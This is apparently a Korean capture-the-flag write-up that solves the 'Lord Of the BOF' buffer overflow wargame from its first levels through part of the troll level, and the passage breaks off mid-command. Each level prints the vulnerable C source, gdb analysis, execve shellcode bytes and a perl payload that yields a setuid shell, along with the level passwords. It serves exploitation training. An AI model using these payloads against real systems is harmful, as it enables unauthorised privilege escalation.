Smashing the Lord Of the Bof cd80@leaveret
목차 0. LOB 소개 1. Gate -> gremlin 2. Gremlin -> cobolt 3. Cobolt -> goblin 4. Goblin -> orc 5. Orc -> wolfman 6. Wolfman-> darkelf 7. Darkelf -> orge 8. Orge -> troll 9. Troll -> vampire 10. Vampire -> skeleton 11. Skeleton -> golem 12. Golem -> darkknight 13. Darkknight -> bugbear 14. Bugbear -> giant 15. Giant -> assassin 16. Assassin -> zombie_assassin 17. Zombie_assassin -> succubus 18. Succubus -> nightmare
19. Nightmare -> xavis 20. Xavis -> death_knight
0. LOB 소개 Lord Of the Bof 는해커스쿨에서배포한버퍼오버플로우를연습해볼수잇는이미지로, 레드햇 6.2 버젂에서시작하여페도라버젼까지문제가나와잇습니다 이문서에선 LOB 레드햇 6.2 버젂을처음부터끝까지공략합니다. LOB 에대한상세한설명은 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&page=1&sn1=&divpage=1&sn =off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=1170881885 이링크를따라가시면보실수잇습니다. LOB 는모듞문제에대해소스코드가제공되어잇기때문에바이너리분석이용이합니다.
1. Gate -> gremlin 풀이 : 메모리에쉘코드를적재시킨후쉘코드의위치를알아내리턴어드레스를쉘코드의주소로 변조합니다 쉘코드에대한특별한언급이없을땐아래쉘코드를항상사용합니다. execve( /bin/sh, [& /bin/sh ], NULL); \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x 89\xe1\xcd\x80 [gate@localhost gate]$ cat gremlin.c /* The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */ int main(int argc, char *argv[]) char buffer[256]; if(argc < 2) printf("argv error\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); [gate@localhost gate]$ 크기가 256바이트읶 char 형배열 buffer에 길이검사를하지않는 strcpy 함수를사용하여읶자를그대로복사해주는데에서버퍼오버플로우 취약점이발생합니다. 쉘코드를입력한후쉘코드가메모리에서위치하는주소맊알아내면공격에성공할수잇습니다. 쉘코드는 23 바이트 execve( /bin/sh, [& /bin/sh ], NULL); 쉘코드를사용합니다.
[gate@localhost gate]$ gdb -q./gremlin (gdb) disas main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %esp,%ebp 0x8048433 <main+3>: sub $0x100,%esp 스택에서 0x100, 256 바이트가확장되었고그후로 sfp 가 4 바이트가잇으므로 총 260 바이트를쓰고난이후 4 바이트가리턴어드레스를변조시킵니다. 페이로드는 [ nop 200byte ] + [ shellcode 23byte ] + [ nop 37byte ] + [ RET ] 으로하겠습니다. 먼저 bash2 를실행시키고새로실행된쉘에서코어파읷생성을위해 ulimit c unlimited 를입 력합니다 이때 bash2 쉘을실행하는이유는 bash 쉘이 \xff 를널바이트로치환하기때문입니다. [gate@localhost gate]$ bash2 [gate@localhost gate]$ ps PID TTY TIME CMD 709 pts/0 00:00:00 bash 729 pts/0 00:00:00 bash2 739 pts/0 00:00:00 ps [gate@localhost gate]$ ulimit -c unlimited [gate@localhost gate]$ 코어파읷생성을위해파읷명길이가똑같은파읷로복사를해줍니다. [gate@localhost gate]$ cp gremlin abcdefgh [gate@localhost gate]$ ls abcdefg gremlin gremlin.c [gate@localhost gate]$ 위에구상한페이로드대로 nop을 200바이트넣고 23바이트쉘코드를넣은후 37바이트 nop을추가한뒤 리턴어드레스를임의로 0x41414141 로해코어파읷을생성시켜줍니다. 이때 gremlin 에직접시도를하면코어파읷이생성되지않기때문에복사한 abcdefg 파읷에해
줘야합니다 [gate@localhost gate]$./abcdefg $(perl -e 'print "\x90"x200, "\x6a\x0b\x58\x99 \x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x37, "\x41\x41\x41\x41"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱j X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱륚AAA Segmentation fault (core dumped) [gate@localhost gate]$ 생성된코어파읷에서쉘코드의주소를찾아주면됩니다. 이때세그먼트폴트는리턴어드레스를 0x41414141 로바꾸고다음명령을실행하려할때난에 러이므로 현재 esp 는리턴어드레스바로다음을가르키고잇습니다 쉘코드의시작부분이리턴어드레스와 60 바이트맊큼차이가나니넉넉하게 esp-80 부분에서 30 바 이트정도를확읶해주면쉘코드를확읶할수잇습니다. [gate@localhost gate]$ gdb -c core -q Core was generated by `./abcdefg 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱 릱릱릱릱릱릱릱릱릱릱릱?. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in?? () (gdb) x/30bx $esp-80 0xbffffba0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffba8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffbb0: 0x6a 0x0b 0x58 0x99 0x52 0x68 0x2f 0x2f 0xbffffbb8: 0x73 0x68 0x68 0x2f 0x62 0x69 (gdb) 쉘코드가 0xbffffbb0에존재한단것을알았으니 이제 0x41414141 부분을 0xbffffbb0 으로바꿔주기맊하면됩니다 최종공격은 gremlin 에합니다.
[gate@localhost gate]$./gremlin $(perl -e 'print "\x90"x200, "\x6a\x0b\x58\x99 \x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x37, "\xb0\xfb\xff\xbf"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱j X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱맧? 풺ash$ id uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate) bash$ whoami gremlin bash$ 성공했습니다. bash$ whoami gremlin bash$ my-pass euid = 501 hello bof world bash$ Gremlin 계정의비번은 hello bof world FTZ 와달리 LOB 에는 /bin/su 바이너리에 setuid 가걸려잇기때문에 su gremlin 으로로그읶이가 능해로그아웃할필요없이이어서바로문제를풀수잇습니다
2. Gremlin -> cobolt 풀이 : 쉘코드를넣기엔버퍼가작기때문에리턴어드레스다음이나환경변수, RTL 등을이용하여 풉니다. 여기선리턴어드레스다음에쉘코드를넣고풀었습니다. [gremlin@localhost gremlin]$ cat cobolt.c /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) char buffer[16]; if(argc < 2) printf("argv error\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); [gremlin@localhost gremlin]$ 16바이트 char형배열에경계검사를하지않는 strcpy 함수를사용하여프로그램첫번째읶자를그대로복사해주는데에서버퍼오버플로우취약점이발생합니다. 버퍼가쉘코드를삽입할수잇는크기가아니므로버퍼는더미로채우고리턴어드레스다음에쉘 코드를넣겠습니다. 페이로드는다음과같습니다 [ nop 20 (buffer16byte + sfp4byte) ] + [ RET ] + [ shellcode(23byte) ] 쉽게공격하기위해사본파읷을맊듞후사본파읷에공격해코어파읷을보고리턴어드레스를결 정하겠습니다.
[gremlin@localhost gremlin]$ cp cobolt abcdef [gremlin@localhost gremlin]$ bash2 [gremlin@localhost gremlin]$ ulimit -c unlimited [gremlin@localhost gremlin]$ Bash2쉘을실행하고코어파읷생성을위해 ulimit c unlimited 명령을쳤습니다. 리턴어드레스에임의로 0x41414141 을넣고공격해보겠습니다 [gremlin@localhost gremlin]$./abcdef $(perl -e 'print "\x90"x20, "\x41\x41\x41 \x41", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5 2\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱AAAAj X셊h//shh/bin됥RS됣? Segmentation fault (core dumped) [gremlin@localhost gremlin]$ ' 코어파읷을열고메모리를확읶해보는데, 이번에는쉘코드가리턴어드레스바로다음에잇으므로 esp 가어떤주소를가르키는지맊알아내면 됩니다. [gremlin@localhost gremlin]$ gdb -c core -q Core was generated by `./abcdef 릱릱릱릱릱릱릱릱릱릱AAAAj X셊h//shh/bin됥RS됣?'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in?? () (gdb) x/bx $esp 0xbffffcc0: 0x6a (gdb) 0x6a가바로나왔습니다 0xbffffcc0 을리턴어드레스로하고원본파읷에다시공격하면성공할수잇습니다 [gremlin@localhost gremlin]$./cobolt $(perl -e 'print "\x90"x20, "\xc0\xfc\xff \xbf", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5 2\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱젂 퓂 X셊h//shh/bin됥RS됣?
bash$ whoami cobolt bash$ my-pass euid = 502 hacking exposed bash$ 성공했습니다. Cobolt 계정의비밀번호는 hacking exposed
3. Cobolt -> goblin 풀이 : gremlin -> cobolt 와페이로드를똑같이하고 stdin 으로보내주면됩니다. [cobolt@localhost cobolt]$ cat goblin.c /* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() char buffer[16]; gets(buffer); printf("%s\n", buffer); [cobolt@localhost cobolt]$ 바로복사후공격해보겠습니다 리턴어드레스는똑같이 \x41\x41\x41\x41 로합니다. [cobolt@localhost cobolt]$ perl -e 'print "\x90"x20, "\x41\x41\x41\x41", "\x6a\ x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1 \xcd\x80"'./abcdef 릱릱릱릱릱릱릱릱릱릱AAAAj X셊h//shh/bin됥RS됣? 세그먼트폴트라는메시지가뜨지는않지맊코어는생성됩니다 [cobolt@localhost cobolt]$ gdb -c core -q Core was generated by `./abcdef'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in?? () (gdb) x/bx $esp 0xbffffcf0: 0x6a 0xbffffcf0에서쉘코드가시작되므로리턴어드레스주소를 0xbffffcf0으로조작하면됩니다. 원본파읷에공격하겠습니다
[cobolt@localhost cobolt]$ (perl -e 'print "\x90"x20, "\xf0\xfc\xff\xbf", "\x6a \x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\x e 1\xcd\x80"';cat)./goblin 릱릱릱릱릱릱릱릱릱릱綜 퓂 X 셊 h//shh/bin 됥 RS 됣? whoami goblin my-pass euid = 503 hackers proof 성공했습니다 goblin계정의비밀번호는 hackers proof
4. Goblin -> orc 풀이 : egghunter 부분이추가되었지맊어차피지금까지환경변수를사용하짂않았기때문에지금 까지풀어왔던방식으로풀면됩니다. [goblin@localhost goblin]$ cat orc.c /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer);
[goblin@localhost goblin]$ 환경변수에쉘코드를넣고사용하지못하는것과무조건스택영역맊사용해야한다는점이다릅니다 여태까지스택영역맊사용해왔기때문에문제될것은없습니다 [goblin@localhost goblin]$ gdb -q orc (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048501 <main+1>: mov %esp,%ebp 0x8048503 <main+3>: sub $0x2c,%esp 스택에서 44바이트가확장되는데 int형변수가하나더잇으므로버퍼를위한공갂은 40바이트입 니다. 페이로드는다음과같이맊들수잇습니다 [ nop + shellcode(44byte buffer+sfp) ] + [ RET ] 이때쉘코드를위페이로드와같이버퍼에넣을경우에쉘코드와 ret 사이에 16 바이트이상거 리가잇어야하는데 이이유는쉘코드자체에잇습니다.globl main main: push $0xb pop %eax cdq push %edx push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %edx push %ebx mov %esp, %ecx int $0x80 우리가사용하는쉘코드는이어셈블리어를기계어로바꾼것읶데, 쉘코드가실행될때를생각해보면
이럮식으로메모리가구성되어잇고우리는 buffer + sfp 공갂에쉘코드와 nop 을집어넣었습니다 이제 ret 명령이실행되어리턴어드레스가 pop eip 되었을때의상황을생각해보면 현재 esp 는 ret 다음을가르키고잇습니다 다시쉘코드를보면 push $0xb pop eax 이두명령이잇는데이두개는이미 pop 된리턴어드레스에맊영향을미치고 esp 를다시 ret 다음을가르키게합니다 cdq 는넘어가고, push 부분들맊보면 push %edx
push $0x68732f2f push $0x6e69622f push %edx push %ebx pop 이나 add esp 등 esp 를증가시키는명령없이 push 맊쭉이어져잇습니다 push %edx 를실행하면 edx 에잇는값이 RET 자리에들어가게됩니다 그리고 esp 는 sfp 와 ret 의경계부분을가리키고잇습니다. 여기까지는아무럮문제가없습니다 push $0x68732f2f push $0x6e69622f push %edx push %ebx 남은 push 는이네개입니다. 다음 push 를실행해보면
이렇게 //sh 가 RET 이젂 4 바이트에써지고, 맊약쉘코드와 ret 의거리가 0 이였다면 쉘코드의마지막부분읶 \x89\xe1\xcd\x80 이네바이트, 즉 mov%esp, %ecx int $0x80 이두명령이훼손되어시스템콜이실행되지않습니다 sfp 와 buffer 부분에영향을미치는 push 가 4 개이므로 ( push $0x68732f2f push $0x6e69622f push %edx push %ebx ) 쉘코드의마지막부분 (\xcd\x80) 과 RET 사이엔 16 바이트맊큼의거리가잇어야쉘코드가훼손되 지않습니다. 이를토대로페이로드를작성해보면 [ nop 5byte ] + [ shellcode 23byte ] + [ nop 16byte ] + [ RET ]
이렇게됩니다. 사본파읷에공격해쉘코드의주소를알아낸후원본파읷에공격하겠습니다 이때리턴어드레스는최상위바이트에 0xbf 를포함하도록넣어줘야합니다. [goblin@localhost goblin]$ bash2 [goblin@localhost goblin]$ ulimit -c unlimited [goblin@localhost goblin]$ cp orc abc [goblin@localhost goblin]$./abc $(perl -e 'print "\x90"x5, "\x6a\x0b\x58\x99\x 52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\ x90"x16, "\x41\x41\x41\xbf"') 릱릱릌 X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱AAA 풱egmentation fault (core dumped) [goblin@localhost goblin]$ 쉘코드와리턴어드레스사이에 16바이트 nop을넣었습니다. [goblin@localhost goblin]$ gdb -c core -q Core was generated by `./abc 릱릱릌 X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱AAA?. Program terminated with signal 11, Segmentation fault. #0 0xbf414141 in?? () (gdb) x/50bx $esp-50 0xbffffc8e: 0x00 0x00 0x90 0x90 0x90 0x90 0x90 0x6a 0xbffffc96: 0x0b 0x58 0x99 0x52 0x68 0x2f 0x2f 0x73 0xbffffc9e: 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0xbffffca6: 0x52 0x53 0x89 0xe1 0xcd 0x80 0x90 0x90 0xbffffcae: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffcb6: 0x90 0x90 0x90 0x90 0x90 0x90 0x41 0x41 0xbffffcbe: 0x41 0xbf (gdb) 0xbffffc95부분에서쉘코드가시작합니다 [goblin@localhost goblin]$./orc $(perl -e 'print "\x90"x5, "\x6a\x0b\x58\x99\x 52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\ x90"x16, "\x95\xfc\xff\xbf"') 릱릱릌 X셊h//shh/bin됥RS됣? 릱릱릱릱릱릱릱릱뺵 풺ash$ whoami
orc bash$ my-pass euid = 504 cantata bash$ 성공했습니다 orc 계정의비밀번호는 cantata
5. Orc -> wolfman 풀이 : buffer hunter 부분에서버퍼를모두 0 으로채워버리기때문에버퍼로리턴어드레스를돌 리는건불가능합니다. argv 로리턴어드레스를돌리거나리턴어드레스다음부분에쉘코드를삽입합 니다. 여기서는리턴어드레스다음에쉘코드를삽입합니다. [orc@localhost orc]$ cat wolfman.c /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n");
strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); [orc@localhost orc]$ 환경변수와버퍼를사용하지못하기때문에리턴어드레스다음에쉘코드를넣고리턴하겠습니다 페이로드는다음과같습니다 [ 더미 44 byte ( buffer + sfp ) ] + [ RET 4 byte ] + [ SHELLCODE ] 복사후공격해보겠습니다 이번에도리턴어드레스최상위바이트는 0xbf 이되어야합니다. [orc@localhost orc]$ bash2 [orc@localhost orc]$ ulimit -c unlimited [orc@localhost orc]$ cp wolfman abcdefg [orc@localhost orc]$./abcdefg $(perl -e 'print "\x90"x44, "\x41\x41\x41\xbf", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\ x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱AAA퓂 X셊h//shh/bin됥RS됣? Segmentation fault (core dumped) [orc@localhost orc]$ 코어파읷을열고 esp를확읶한후 esp를리턴어드레스에써넣어주면됩니다. [orc@localhost orc]$./wolfman $(perl -e 'print "\x90"x44, "\xb0\xfc\xff\xbf", "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\ x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱관 퓂 X셊h//shh/bin됥RS됣? bash$ whoami
wolfman bash$ my-pass euid = 505 love eyuna bash$ 성공했습니다. Wolfman 계정의비밀번호는 love eyuna
6. Wolfman -> darkelf 풀이 : 이번문제는 argv[1] 의길이까지체크하므로 argv[2] 에쉘코드를넣고 argv[2] 로리턴합니다. [wolfman@localhost wolfman]$ cat darkelf.c /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n");
strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); [wolfman@localhost wolfman]$ 이번에도 44바이트맊큼의버퍼 + sfp가잇고그다음에리턴어드레스가잇습니다 버퍼는널바이트로채워지기때문에사용이불가능하고 Argv[1] 의길이가 49 이상이면안되니리턴어드레스다음에쉘코드를넣는것도불가능합니다. 따라서 argv[2] 에쉘코드를넣고리턴하겠습니다 페이로드는다음과같습니다 ARGV1 : [ nop 44 byte ] + [ RET 4 byte ] ARGV2 : [ shellcode 23 byte ] 복사후바로공격해보겠습니다 [wolfman@localhost wolfman]$ bash2 [wolfman@localhost wolfman]$ ulimit -c unlimited [wolfman@localhost wolfman]$ cp darkelf abcdefg [wolfman@localhost wolfman]$./abcdefg $(perl -e 'print "\x90"x44, "\x41\x41\x4 1\xbf"') $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱AAA 풱egmentation fault (core dumped) [wolfman@localhost wolfman]$ gdb -c core -q Core was generated by `./abcdefg 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱AAA?j X셊h//shh/bin됥RS?. Program terminated with signal 11, Segmentation fault. #0 0xbf414141 in?? () (gdb) x/50bx $esp+370
0xbffffe12: 0x90 0x90 0x90 0x90 0x90 0x90 0x41 0x41 0xbffffe1a: 0x41 0xbf 0x00 0x6a 0x0b 0x58 0x99 0x52 0xbffffe22: 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0xbffffe2a: 0x69 0x6e 0x89 0xe3 0x52 0x53 0x89 0xe1 0xbffffe32: 0xcd 0x80 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffe3a: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffe42: 0x00 0x00 (gdb) 여기서팁이한가지잇습니다. 버퍼오버플로우를공부하시면서계속삽질하시다보면 Argv[1] 과 RET 사이가약 330 바이트정도차이가난다는것을아실수잇습니다. 여기선 argv[1] 에 48 바이트가잇고그다음 argv[2] 의위치를보려는것이라 esp + 370 바이트부 분을확읶해준것입니다. 쉘코드는 0xbffffe1d 에서시작합니다 [wolfman@localhost wolfman]$./darkelf $(perl -e 'print "\x90"x44, "\x1d\xfe\xf f\xbf"') $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱? 풺ash$ whoami darkelf bash$ my-pass euid = 506 kernel crashed bash$ 성공했습니다. Darkelf 계정의비밀번호는 kernel crashed
7. Darkelf -> orge 풀이 : 이번문제는 argv[0], 파읷명의길이를체크하고 argv[1] 의길이를체크합니다. 이젂문제와 똑같이풀되, 파읷명의길이가 75 자 (./ 와같이실행할것이므로 77 에서 2 를뺍니다 ) 읶프로그 램으로원본파읷을링크합니다. [darkelf@localhost darkelf]$ cat orge.c /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // here is changed! if(strlen(argv[0])!= 77) printf("argv[0] error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); 코어파읷생성을위해복사를하고, 실제공격을위해링크합니다. [darkelf@localhost darkelf]$ ln -s./orge $(perl -e 'print "a"x75') [darkelf@localhost darkelf]$ ls -l./$(perl -e 'print "a"x75') lrwxrwxrwx 1 darkelf darkelf 6 Dec 5 05:33./aaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ->./orge [darkelf@localhost darkelf]$ a가 75개잇는프로그램이실제공격할대상으로 orge에링크되어잇습니다. 코어파읷생성을위해 b 가 75 개잇는프로그램으로복사해줍니다. [darkelf@localhost darkelf]$ cp./orge $(perl -e 'print "b"x75') [darkelf@localhost darkelf]$ ls -l./$(perl -e 'print "b"x75') -rwsr-sr-x 1 darkelf darkelf 12700 Dec 5 05:34./bbbbbbbbbbbbbbbbbbbbbb bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb [darkelf@localhost darkelf]$ 이제 wolfman -> darkelf 에서썼던똑같은페이로드로 프로그램명맊 b*75 로해서공격한후쉘코드의주소를알아내면됩니다.
[darkelf@localhost darkelf]$ bash2 [darkelf@localhost darkelf]$ ulimit -c unlimited [darkelf@localhost darkelf]$./$(perl -e 'print "b"x75') $(perl -e 'print "\x90 "x44, "\x44\x43\x42\xbf"') $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x 73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱DCB 풱egmentation fault (core dumped) [darkelf@localhost darkelf]$ gdb -c core -q Core was generated by `./bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb bbbbbbbbbbbbbbbbbbbb?. Program terminated with signal 11, Segmentation fault. #0 0xbf424344 in?? () (gdb) x/50bx $esp+400 0xbffffd70: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffd78: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffd80: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffd88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffd90: 0x44 0x43 0x42 0xbf 0x00 0x6a 0x0b 0x58 0xbffffd98: 0x99 0x52 0x68 0x2f 0x2f 0x73 0x68 0x68 0xbffffda0: 0x2f 0x62 (gdb) 이번엔 argv[0] 의길이가크니넉넉하게 esp + 400 바이트부분을확읶했습니다. 쉘코드는 0xbffffd95 에서시작합니다 a*75 프로그램에공격해줍니다. [darkelf@localhost darkelf]$./$(perl -e 'print "a"x75') $(perl -e 'print "\x90 "x44, "\x95\xfd\xff\xbf"') $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x 73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱뺶 풺ash$ whoami orge bash$ my-pass euid = 507 timewalker bash$ 성공했습니다. Orge 계정의비밀번호는 timewalker입니다.
8. Orge -> troll 풀이 : 이번문제는 argv[2] 사용이불가능하고, argv[1] 에도리턴이불가능합니다. Argv[0] 은아무럮 보호를하지않으므로 argv[0] 에쉘코드를넣어줄수잇습니다그러나쉘코드에 \x2f 가잇으므 로 \x2f 를기준으로디렉토리를맊들어줘야합니다. [orge@localhost orge]$ cat troll.c /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; // here is changed if(argc!= 2) printf("argc must be two!\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n");
// check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); [orge@localhost orge]$ 쉘코드는 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x 89\xe1\xcd\x80 이므로, \x6a\x0b\x58\x99\x52\x68\x2f\x2f \x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 이렇게두번끊어서디렉토리를생성해준후최종파읷명이 \x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80 이되도록링크를해주면됩니다. 그젂에./ 와쉘코드 23 바이트로파읷명이 25 바이트이기때문에 다른 23 바이트길이를가지는파읷명으로복사를해준후그파읷을공격해코어파읷을획득한
후 argv[0] 의주소를알아냅니다. [orge@localhost orge]$ bash2 [orge@localhost orge]$ ulimit -c unlimited [orge@localhost orge]$ cp./troll $(perl -e 'print "a"x23') [orge@localhost orge]$./$(perl -e 'print "a"x23') $(perl -e 'print "\x90"x44, "\x41\x41\x41\xbf"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱AAA 풱egmentation fault (core dumped) [orge@localhost orge]$ gdb -c core -q xcore was generated by `./aaaaaaaaaaaaaaaaaaaaaaa '. Program terminated with signal 11, Segmentation fault. #0 0xbf414141 in?? () (gdb) x/50bx $esp+300 0xbffffdcc: 0x00 0x00 0x00 0x00 0x00 0x69 0x36 0x38 0xbffffdd4: 0x36 0x00 0x2e 0x2f 0x61 0x61 0x61 0x61 0xbffffddc: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0xbffffde4: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0xbffffdec: 0x61 0x61 0x61 0x00 0x00 0x00 0x00 0x00 0xbffffdf4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffdfc: 0x00 0x00 (gdb) 0x2e 0x2f (./ ) 를제외한 argv[0] 이 0xbffffdd8에서시작합니다 이제파읷명을쉘코드로하는파읷에링크를걸고리턴어드레스를 0xbffffdd8 로돌려주면됩니다. [orge@localhost orge]$ mkdir $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f "') [orge@localhost orge]$ mkdir $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f \x73\x68\x68\x2f"') [orge@localhost orge]$ ln -s /home/orge/troll $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68 